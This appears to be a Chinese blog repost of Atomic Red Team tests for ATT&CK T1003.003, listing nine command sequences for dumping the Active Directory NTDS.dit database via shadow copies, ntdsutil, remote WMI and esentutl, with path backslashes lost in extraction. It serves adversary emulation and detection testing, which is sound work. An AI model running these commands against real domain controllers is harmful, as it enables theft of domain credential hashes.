本文章为Atomic Red Team系列文章,本篇文章内容为T1003-操作系统凭证转储。本文的目的旨在帮助安全团队开展安全测试,发现安全问题,切勿将本文中提到的技术用作攻击行为,请切实遵守国家法律法规。
重要声明: 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。
T1003.003 - 操作系统凭证转储:NTDS
来自ATT&CK的描述
攻击者可能会尝试访问或创建活动目录域数据库的副本,以窃取凭证信息,并获取有关域成员的其他信息,如设备、用户和访问权限。默认情况下,NTDS文件(NTDS.dit)位于域控制器的%SystemRoot%NTDSNtds.dit
中。(引用:维基百科 - 活动目录)
除了在活动的域控制器上查找NTDS文件外,攻击者可能会搜索包含相同或相似信息的备份。(引用:Metcalf 2015)
以下工具和技术可用于枚举NTDS文件以及整个活动目录哈希的内容:
-
卷影副本 -
secretsdump.py -
使用Windows内置工具ntdsutil.exe -
Invoke-NinjaCopy
原子测试
-
原子测试#1 - 使用vssadmin创建卷影副本 -
原子测试#2 - 从卷影副本复制NTDS.dit -
原子测试#3 - 使用NTDSUtil转储活动目录数据库 -
原子测试#4 - 使用WMI创建卷影副本 -
原子测试#5 - 使用WMI远程创建卷影副本 -
原子测试#6 - 使用esentutl通过WMI远程创建卷影副本 -
原子测试#7 - 使用Powershell创建卷影副本 -
原子测试#8 - 创建指向卷影副本的符号链接 -
原子测试#9 - 使用diskshadow创建卷影副本
原子测试#1 - 使用vssadmin创建卷影副本
此测试旨在在域控制器上运行。
活动目录数据库NTDS.dit可以通过从卷影副本复制来进行转储。
- 支持的平台:Windows
- 自动生成的GUID:dcebead7-6c28-4b4b-bf3c-79deb1b1fc7f
- 输入参数:
|
|
|
|
---|---|---|---|
|
|
|
|
- 攻击命令:使用
command_prompt
运行!需要提升权限(例如root或管理员权限)
vssadmin.exe create shadow /for=#{drive_letter}
- 依赖项:使用
command_prompt
运行! - 描述:目标必须是域控制器
- 检查先决条件命令:
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlProductOptions /v ProductType | findstr LanmanNT
- 获取先决条件命令:
echo Sorry, Promoting this machine to a Domain Controller must be done manually
原子测试#2 - 从卷影副本复制NTDS.dit
此测试旨在在域控制器上运行。
活动目录数据库NTDS.dit可以通过从卷影副本复制来进行转储。
此测试需要先执行“使用vssadmin创建卷影副本”测试中的步骤。成功的测试还需要导出SYSTEM注册表配置单元。此测试必须在Windows域控制器上执行。
- 支持的平台:Windows
- 自动生成的GUID:c6237146-9ea6-4711-85c9-c56d263a6b03
- 输入参数:
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
- 攻击命令:使用
command_prompt
运行!需要提升权限(例如root或管理员权限)
copy #{vsc_name}WindowsNTDSNTDS.dit #{extract_path}ntds.dit
copy #{vsc_name}WindowsSystem32configSYSTEM #{extract_path}VSC_SYSTEM_HIVE
reg save HKLMSYSTEM #{extract_path}SYSTEM_HIVE
- 清理命令:
del "#{extract_path}ntds.dit" >nul 2> nul
del "#{extract_path}VSC_SYSTEM_HIVE" >nul 2> nul
del "#{extract_path}SYSTEM_HIVE" >nul 2> nul
- 依赖项:使用
command_prompt
运行! - 描述:目标必须是域控制器
- 检查先决条件命令:
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlProductOptions /v ProductType | findstr LanmanNT
- 获取先决条件命令:
echo Sorry, Promoting this machine to a Domain Controller must be done manually
- 描述:卷影副本必须存在
- 检查先决条件命令:
if not exist #{vsc_name} (exit /b 1)
- 获取先决条件命令:
echo Run "Invoke-AtomicTest T1003.003 -TestName 'Create Volume Shadow Copy with vssadmin'" to fulfill this requirement
- 描述:提取路径必须存在
- 检查先决条件命令:
if not exist #{extract_path} (exit /b 1)
- 获取先决条件命令:
mkdir #{extract_path}
原子测试#3 - 使用NTDSUtil转储活动目录数据库
此测试旨在在域控制器上运行。
活动目录数据库NTDS.dit可以使用NTDSUtil进行转储,用于离线凭证窃取攻击。此功能使用“IFM”(即“Install From Media”,从媒体安装)备份功能,该功能允许在无需基于网络的复制的情况下恢复活动目录或安装后续的域控制器。
成功完成后,你将在C:WindowsTemp目录中找到一个ntds.dit文件的副本。
- 支持的平台:Windows
- 自动生成的GUID:2364e33d-ceab-4641-8468-bfb1d7cc2723
- 输入参数:
|
|
|
|
---|---|---|---|
|
|
|
|
- 攻击命令:使用
command_prompt
运行!需要提升权限(例如root或管理员权限)
mkdir #{output_folder}
ntdsutil "ac i ntds" "ifm" "create full #{output_folder}" q q
- 清理命令:
rmdir /q /s #{output_folder} >nul 2>&1
- 依赖项:使用
command_prompt
运行! - 描述:目标必须是域控制器
- 检查先决条件命令:
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlProductOptions /v ProductType | findstr LanmanNT
- 获取先决条件命令:
echo Sorry, Promoting this machine to a Domain Controller must be done manually
原子测试#4 - 使用WMI创建卷影副本
此测试旨在在域控制器上运行。
活动目录数据库NTDS.dit可以通过从卷影副本复制来进行转储。
- 支持的平台:Windows
- 自动生成的GUID:224f7de0-8f0a-4a94-b5d8-989b036c86da
- 输入参数:
|
|
|
|
---|---|---|---|
|
|
|
|
- 攻击命令:使用
command_prompt
运行!需要提升权限(例如root或管理员权限)
wmic shadowcopy call create Volume=#{drive_letter}
- 依赖项:使用
command_prompt
运行! - 描述:目标必须是域控制器
- 检查先决条件命令:
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlProductOptions /v ProductType | findstr LanmanNT
- 获取先决条件命令:
echo Sorry, Promoting this machine to a Domain Controller must be done manually
原子测试#5 - 使用WMI远程创建卷影副本
此测试旨在从具有域管理员上下文的远程工作站运行。活动目录数据库NTDS.dit可以通过从卷影副本复制来进行转储。
- 支持的平台:Windows
- 自动生成的GUID:d893459f-71f0-484d-9808-ec83b2b64226
- 输入参数:
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
- 攻击命令:使用
command_prompt
运行!需要提升权限(例如root或管理员权限)
wmic /node:"#{target_host}" shadowcopy call create Volume=#{drive_letter}
- 依赖项:使用
command_prompt
运行! - 描述:目标必须是可访问的域控制器,并且当前上下文必须是域管理员
- 检查先决条件命令:
wmic /node:"#{target_host}" shadowcopy list brief
- 获取先决条件命令:
echo Sorry, can't connect to target host, check: network, firewall or permissions (must be admin on target)
原子测试#6 - 使用esentutl通过WMI远程创建卷影副本
此测试旨在从具有域管理员上下文的远程工作站运行。活动目录数据库NTDS.dit可以通过从使用esentutl创建的卷影副本复制来进行转储。
- 支持的平台:Windows
- 自动生成的GUID:21c7bf80-3e8b-40fa-8f9d-f5b194ff2865
- 输入参数:
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
- 攻击命令:使用
command_prompt
运行!需要提升权限(例如root或管理员权限)
wmic /node:"#{target_host}" process call create "cmd.exe /c esentutl.exe /y /vss #{source_path} /d #{target_path}"
- 依赖项:使用
command_prompt
运行! - 检查先决条件命令:
- 描述:目标必须是可访问的域控制器,并且当前上下文必须是域管理员
wmic /node:"#{target_host}" shadowcopy list brief
-
获取先决条件命令
echo Sorry, can't connect to target host, check: network, firewall or permissions (must be admin on target)
原子测试#7 - 使用Powershell创建卷影副本
此测试旨在在域控制器上运行。
活动目录数据库NTDS.dit可以通过从卷影副本复制来进行转储。
- 支持的平台:Windows
- 自动生成的GUID:542bb97e-da53-436b-8e43-e0a7d31a6c24
- 输入参数:
|
|
|
|
---|---|---|---|
|
|
|
|
- 攻击命令:使用
powershell
运行!需要提升权限(例如root或管理员权限)
(gwmi -list win32_shadowcopy).Create('#{drive_letter}','ClientAccessible')
原子测试#8 - 创建指向卷影副本的符号链接
此测试旨在在域控制器上运行。
活动目录数据库NTDS.dit可以通过创建指向卷影副本的符号链接来进行转储。
- 支持的平台:Windows
- 自动生成的GUID:21748c28-2793-4284-9e07-d6d028b66702
- 输入参数:
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
- 攻击命令:使用
command_prompt
运行!需要提升权限(例如root或管理员权限)
vssadmin.exe create shadow /for=#{drive_letter}
mklink /D #{symlink_path} \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1
原子测试#9 - 使用diskshadow创建卷影副本
此测试旨在在域控制器上运行,是使用vssadmin创建用于提取ntds.dit的卷影副本的替代方法。
- 支持的平台:Windows
- 自动生成的GUID:b385996c-0e7d-4e27-95a4-aca046b119a7
- 输入参数:
|
|
|
|
---|---|---|---|
|
|
|
|
- 攻击命令
:使用 command_prompt
运行!需要提升权限(例如root或管理员权限)
mkdir c:exfil
diskshadow.exe /s #{filename}
原文始发于微信公众号(网空安全手札):T1003.003 - 操作系统凭证转储:NTDS
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论